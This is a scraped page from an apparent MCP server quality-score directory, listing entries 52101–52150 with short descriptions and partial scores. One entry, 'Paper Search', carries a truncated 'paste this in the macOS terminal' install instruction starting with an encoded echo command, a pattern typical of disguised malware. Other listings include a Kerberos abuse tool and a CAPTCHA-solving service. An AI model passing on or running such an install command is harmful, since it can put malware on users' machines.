MCP Server Quality Scores

Independent quality analysis of 54421 public MCP servers

54421
Discovered
29776
Scored
2112
Verified
16952
Complete

Last updated 22 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
52101
kambleakash0
ast-editor Claim
AST-targeted code editing MCP server with 28 surgical tools for structural edit…
N/A N/A
52102
dgsidney
MCP Bling Claim
Remote MCP server for Bling API v3, enabling tools to manage products, orders, …
52103
fssou
camunda-mcp Claim
MCP server for modeling Camunda 7 BPMN diagrams programmatically, including ele…
N/A N/A
52104
myownipgit
Enables Bitcoin blockchain data retrieval and analysis through free APIs, inclu…
N/A N/A
52105
Perseus-Computing-LLC
Brings live project context into Slack via MCP, enabling developer teams to che…
52106
adilzuberi
Enables AI agents to read and write a local-first knowledge base of plain markd…
52107
fetchsandbox
mcp Claim
Stateful OpenAPI sandbox for AI agents to validate API integrations end-to-end.
N/A N/A
52108
niduran-orion
odoo-mcp-uvx Claim
A read-only MCP server that enables AI assistants to query Odoo instances via X…
N/A N/A
52109
fjmn2001
Enables checking and validating disk space usage via a single tool, reporting t…
N/A N/A
52110
jsconiers
A free, key-less MCP server for querying U.S. federal spending data from USAspe…
52111
gsccoelho
A Python MCP server that generates complete Vue 3 CRUD structures with Composit…
N/A N/A
52112
shadstoneofficial
Enables checking domain availability, WHOIS lookup, domain registration, and bi…
52113
GreenFlux
MCP server providing access to Handsontable documentation for AI-powered code g…
N/A N/A
52114
vibefix-tech
vibefix Claim
Bug bounty platform for vibe coders. Post bugs, find fixes, run diagnostics.
N/A N/A 83
52115
globalpayments
Enables AI agents to create and manage payment links programmatically via the G…
52116
OzorOwn
frostbyte Claim
MCP server giving AI agents access to 40+ APIs: geo, crypto, screenshots, DNS, …
N/A N/A 83
52117
smantiv
Enables natural language sales analysis by connecting to a SQLite database, gen…
N/A N/A
52118
jsconiers
A free, key-less MCP server for SEC EDGAR that provides company filings, XBRL f…
52119
ppcvote
MISP (Malware Information Sharing Platform) MCP server with built-in prompt inj…
N/A N/A
52120
ingsamcas
Enables file operations (upload, download, list, delete) on Cloudflare R2 (S3-c…
52121
tekchapagain1
MCP server for MeroShare that enables managing IPO/FPO applications, portfolio,…
52122
Bazilio-san
MCP VKUSVILL Claim
MCP server for integrating AI assistants with VkusVill services, allowing natur…
52123
Chukwuebuka-2003
Enables personalized AI tutoring by allowing students to upload PDF/DOCX study …
81
52124
LukasHaas
Flighty MCP Claim
Enables AI assistants to access and manage your Flighty flight data directly fr…
N/A N/A
52125
Golpo-AI
golpo-mcp Claim
MCP server for the Golpo AI video API, enabling video generation, listing, and …
N/A N/A
52126
peteretelej
largefile Claim
Navigate, search, and edit large codebases, logs, and data files that exceed AI…
N/A N/A
52127
CSOAI-ORG
sentiment-analysis-ai-mcp MCP server by MEOK AI Labs
N/A N/A
52128
anilsrml
Acts as a secure bridge connecting PostgreSQL databases to AI models, enabling …
N/A N/A
52129
enggvaij
Enables managing employee leave requests (apply, view, list leaves) through Cla…
N/A N/A
52130
mandalazenwave
fillin Claim
81
52131
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
52132
killuaa0-0
MCP-SERVER Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
52133
chris
nexonco-mcp Claim
N/A N/A 95
52134
syedazharmbnr1
A production-grade macOS MCP server exposing 33 tools for full desktop automati…
N/A N/A
52135
cargoffer
AI-powered route optimization MCP server for heavy vehicles and logistics. Calc…
52136
maraventano
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
52137
friendlygeorge
MCP server for Plausible Analytics — privacy-friendly web analytics. 12 tools f…
N/A N/A
52138
josephstreeter
Enables SQL-based identity lookups for IDMS systems, supporting search by accou…
52139
clauxel
PII scanning and redaction receipts for LLM traces and tool payloads.
52140
sbezo
Enables interaction with Palo Alto Networks firewalls via XML API for configura…
N/A N/A
52141
47-ronn
Control fleets of remote machines via AI agents: exec, files, git, fleet ops, m…
N/A N/A
52142
PropterMalone
soapstone Claim
Context-anchored gotcha notes for LLM agents that surface warnings at the point…
N/A N/A
52143
guinevere-kingsley
Enables AI agents to submit projects, track tasks, and manage work on RobotFail…
52144
schwarztim
A Model Context Protocol (MCP) server for Kerberos abuse operations using Rubeu…
N/A N/A
52145
pzfreo
MCP server that exposes build123d parametric CAD operations as tools, enabling …
N/A N/A
52146
DingDawg-dev
Financial analysis AI. Forecasting, audit prep, SOX/GAAP compliance. Accuracy c…
N/A N/A 83
52147
b4zs
MCP server for Redmine that enables interaction with issues, wiki pages, and ti…
52148
SauceTaster
Enables AI clients to submit files, hashes, and URLs for malware analysis, retr…
52149
iliedanila
arcscope Claim
A local MCP server that gives AI coding agents symbol definitions, dependency g…
N/A N/A
52150
arsonx-dev
Solve CAPTCHAs (Turnstile, reCAPTCHA, hCaptcha) via MCP. Free tier: 100 solves.
N/A N/A 83
Showing 52101–52150 of 54421 servers